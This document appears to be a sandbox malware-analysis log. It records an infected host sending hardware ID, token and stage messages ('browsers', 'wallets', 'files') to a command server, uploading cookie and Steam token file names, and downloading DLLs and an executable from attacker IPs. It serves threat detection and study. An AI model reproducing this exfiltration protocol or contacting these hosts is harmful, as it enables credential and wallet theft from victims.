Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 185.215.113.206Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 37 36 44 46 44 33 38 31 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="hwid"7676DFD381C058492808------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="build"drum------EGIJKEHCAKFCAKFHDAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 2d 2d 0d 0a Data Ascii: ------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="message"browsers------BFHDAEHDAKECGCAKFCFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="message"plugins------ECGDBAEHIJKKFHIEGCBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="message"fplugins------HJDBFBKKJDHJKECBGDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIHost: 185.215.113.206Content-Length: 6707Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DGHDHIDGHIDGIECBKKJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="file"------EHJJKFCBGIDGHIECGCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEBFBFIEHIDAAAAFHCFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 2d 2d 0d 0a Data Ascii: ------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="file"------JKEBFBFIEHIDAAAAFHCF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIIIHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 2d 2d 0d 0a Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="message"wallets------HCBGDGCAAKJEBFIDBAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIJJJEGDBFHDHJJDBAKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="message"files------GHIJJJEGDBFHDHJJDBAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="file"------BKJKEBGDHDAFHJKEGIID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="message"ybncbhylepme------FBFCGIDAKECGCBGDBAFI--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAAECAFHDBGIDGCAEHJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49789 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49830 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
